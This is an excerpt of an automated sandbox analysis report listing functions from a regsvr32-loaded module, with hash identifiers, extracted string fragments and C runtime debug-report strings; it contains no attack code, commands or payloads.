String ID: -
API String ID: 0-2547686586
Opcode ID: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction ID: fb4667ec304b728e9739446c3b2210f9efd75ae712771165d94948b9d3b69a1a
Opcode Fuzzy Hash: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction Fuzzy Hash: E641D2B181038ECFCB48CFA4D88A5CE7BB1FB48358F115A09FC65A6224D3B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A64 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Q, xrefs: 0000000180015A70

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q
API String ID: 0-2885194100
Opcode ID: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction ID: a9705b719f6d6278401c973a571993bf085652b79919a3d293b183e1acac7421
Opcode Fuzzy Hash: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction Fuzzy Hash: 9141F5B180434E8FCF48CFA4C84A4DE7FB1FB18318F004619EC5AA6250D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016054 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

UA;k, xrefs: 0000000180016115

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UA;k
API String ID: 0-1243451539
Opcode ID: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction ID: 446a4ee04f98266578c7fdeec7750357e9914a8a062f983f2ae732e753f3f9f0
Opcode Fuzzy Hash: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction Fuzzy Hash: AC31E2B090034E8FCB48DF65C48A4DE7FB0FB68398F104619E859A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017638 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

BHj, xrefs: 0000000180017725

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: BHj
API String ID: 0-429444599
Opcode ID: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction ID: 88d82d5a62f7e83910e755dc00f06a4804c179e3d48da98a41081325a3075538
Opcode Fuzzy Hash: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction Fuzzy Hash: 2F31B2B190078E8FCF84DF64C88A5DE7BB0FB58358F010A09E869A6250D7B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078A4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180007961

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h
API String ID: 0-130632579
Opcode ID: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction ID: cf3c4ac770fe2f70a1efbbc55b0bf253fcb3f834dda7a796d3e0b8f6df5914ba
Opcode Fuzzy Hash: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction Fuzzy Hash: 803102705187C48BD789CFA8C48965EFBE1FB94384F50492DF486867A0C7F8D948CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800050D4 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?%4, xrefs: 00000001800050F0

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?%4
API String ID: 0-422666221
Opcode ID: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction ID: a7a624d76b7a6b6a49308da5d267df16e75217d08dbc55e4173753466c7a619f
Opcode Fuzzy Hash: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction Fuzzy Hash: 0721A470628780AB878CDF28D49981BBBE1FBC9304F906A1CF9C68B364D7749445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001870 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

ve, xrefs: 0000000180001922

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ve
API String ID: 0-2619166483
Opcode ID: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction ID: bd1518f744f48cc188204749d08526443734dde3f23549b257c943e1dafbc1e4
Opcode Fuzzy Hash: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction Fuzzy Hash: 3B217BB16187858BC748DF28C55951ABBE1FBCC318F404B5DF8CAAA360D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800026DC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Hk, xrefs: 000000018000270F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hk
API String ID: 0-2736353058
Opcode ID: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction ID: 887fdeaeec6620913bccc1519bb94b7ab545cc472d3a2f82c737665b3ebe67cb
Opcode Fuzzy Hash: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction Fuzzy Hash: 20319CB4628384AB8388DF28C49981ABBF1FBC9304F806A1DF8868A260D775D445CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000529C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

@Bp!, xrefs: 00000001800052BA

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @Bp!
API String ID: 0-2853746471
Opcode ID: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction ID: a42def5e4906ba5408d95fb28ee36c9633a666dd8c6a1d0dabe2f17b10b73553
Opcode Fuzzy Hash: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction Fuzzy Hash: 8831F37080034E8BCB44DF64D48A4DE7FB0FB28398F11461AE869A6210D3B48694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006308 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

_&%, xrefs: 0000000180006314

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _&%
API String ID: 0-276555772
Opcode ID: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction ID: 84b034befa84842a6d26d9f5413634863003efd6eec9a48b68f2958c9e87747a
Opcode Fuzzy Hash: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction Fuzzy Hash: C3217BB06187848B8748DF28D45A51ABBE1FBCC308F404B5DF4CAAA360D3789609CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800295C8 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

V, xrefs: 00000001800295DC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-2990084971
Opcode ID: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction ID: 19a784c3393b647e1d02845cf9d1e0035701b9012461bc7b4b972f754d4b287b
Opcode Fuzzy Hash: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction Fuzzy Hash: E021ADB4529780AFD788DF28D09981FBBF0FB89304F806A1CF9868B360E3759445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800229CC Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

fe_, xrefs: 0000000180022A54

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fe_
API String ID: 0-1346747655
Opcode ID: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction ID: 9f8913945123cb4278df7be958afc5fc5d749fa594805d3e5c5ffa2821aade6f
Opcode Fuzzy Hash: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction Fuzzy Hash: 25215DB55183818B9348EF28D44A51BBBE1BB8D34CF404B5DF4CEAA260D778D615CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022290 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction ID: f4bbdddc4ebc6fe898ddfb3184844cd7ab88b5746f894e32bccfd4327ba112cf
Opcode Fuzzy Hash: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction Fuzzy Hash: F751247152078DABDBC9DF28C8CAA9C3BA1FB44754F806219FC468A261D774D5C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008134 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction ID: d7e3191637b78f1be9ff87ab698ad538cd7d2d45c46478ba59590cd585685a95
Opcode Fuzzy Hash: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction Fuzzy Hash: 5761B1B490078E8FCF48DF68D8595DE7BB0FB48318F014A19FC6696250D7B49A25CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E2F4 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction ID: f17689cc06c9532d3252f7dc5abd3373f404a3f8166a5e21e79f0a6996b359c5
Opcode Fuzzy Hash: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction Fuzzy Hash: 0B41B870608B488FC768DF19D08976ABBF1FB89711F40856EE68AC7351DB319848CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800280C8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction ID: 9422144e28ecc4a9930a11d21f18f8515329dd70f686b1b52883d16e1825d5f7
Opcode Fuzzy Hash: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction Fuzzy Hash: 2A414D34509B588FD768DF28918A75ABBE0FF99310F004A5EE58EC7362D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006954 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction ID: bbd244a3cf3555809e115011e05a98a3e8d5fd40b217627e69400f11bfb30a94
Opcode Fuzzy Hash: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction Fuzzy Hash: 745193B590434ACFCF48CF64D48A5CE7FB0FB68398F214219E856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012500 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction ID: 8b5374169f69602128bd3032aff790cb1f354843cf4962b6e845d1f3af7287dc
Opcode Fuzzy Hash: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction Fuzzy Hash: 9741A0B180078E8BCB44CFA8D84A5DE7BF0FB18358F104A19F865A6250D3B89668CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022140 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction ID: c15f1aaae4e4e13c906589d5588e8395ab5dda45948680e718f465f07a8a5b6e
Opcode Fuzzy Hash: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction Fuzzy Hash: EC41C4B190038E8FDF48CF64C84A4DE7BB0FB58358F104619E86AA7250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020E40 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction ID: c896a4b3abc40741a1500648b31ed7fd3e584cfdc10005e9d212c87c64feccae
Opcode Fuzzy Hash: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction Fuzzy Hash: 2541C1B181035E8BDB48CFA8D48A5DE7FB0FB68398F204619E855A6214D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction ID: db142853bc0ceb5379a440845187b42230294cb0dc3411c083ed269e5703ce5c
Opcode Fuzzy Hash: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction Fuzzy Hash: E831AFB090034E8FCB48CF68C4865DE7FB0FB58398F114219E85AA6210D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800162BC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction ID: 032a8ed253072f6fd1b05e82d0325949fdf78283cb4c6b9cd1929990fdaa7975
Opcode Fuzzy Hash: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction Fuzzy Hash: F93195B050078A8BCF48DF68C85A5AE3BB1FB48308B404A2DFD269A350D7B49664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021444 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction ID: 9b1437c5de0cc84ebb9c914bb54d42d7cbbf0eefc466e3cb3beb54b329be6ed5
Opcode Fuzzy Hash: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction Fuzzy Hash: E631D5B190034E8FCF48DF68C48A4DE7FB1FB68398F100619E816A6250D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015F24 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction ID: e5161e45e20286f18a7c233b2d95f7c6d50d739ad8bc374cfda940a225cf7d0d
Opcode Fuzzy Hash: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction Fuzzy Hash: DD315C305187849BC3999B24C4C925EBEE1FB85399FA0682CF1C3C6264D774C98A8B06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A90 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction ID: e62117077ddfbae32c834d069a9ab80343e2b26cefae081dcf738b8df2b77597
Opcode Fuzzy Hash: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction Fuzzy Hash: B22148B56183848BD749DF28D44A41ABBE1FB9C74CF400B6DF4CAAB250D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A988 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction ID: 503aa3927fff6e4ad3ec536c6aa42fcab205a0bd32951b21a7cd1c91f46ab624
Opcode Fuzzy Hash: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction Fuzzy Hash: 3F2150B46187848BD748DF28C45641ABBE1FB9C358F804B2DF4CAA7350D7789A05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DEFC Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction ID: bec49874bf3906a1a9314e610e6330a75ea1af3aa415f07e7967bd5f7b72e726
Opcode Fuzzy Hash: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction Fuzzy Hash: 61215CB16187848BD748DF28D05941FBBE0BB8D358F405B2DF8CAA6351D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
Assertion failed: , xrefs: 000007FEF9D2FA09
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
, Line , xrefs: 000007FEF9D2F8A1
<file unknown>, xrefs: 000007FEF9D2F884
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
6o, xrefs: 000007FEF9D2FA85
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
Pl, xrefs: 000007FEF9D2FD1B
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
Assertion failed!, xrefs: 000007FEF9D2FA1A

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction ID: 59d0ad1821d2987490fb14e41c4dc7dbbb96a2632b775096c591c8feb24f6032
Opcode Fuzzy Hash: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction Fuzzy Hash: DF321A3190CA8695EBB0CB18EC543EE73A0F784345FA04125D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
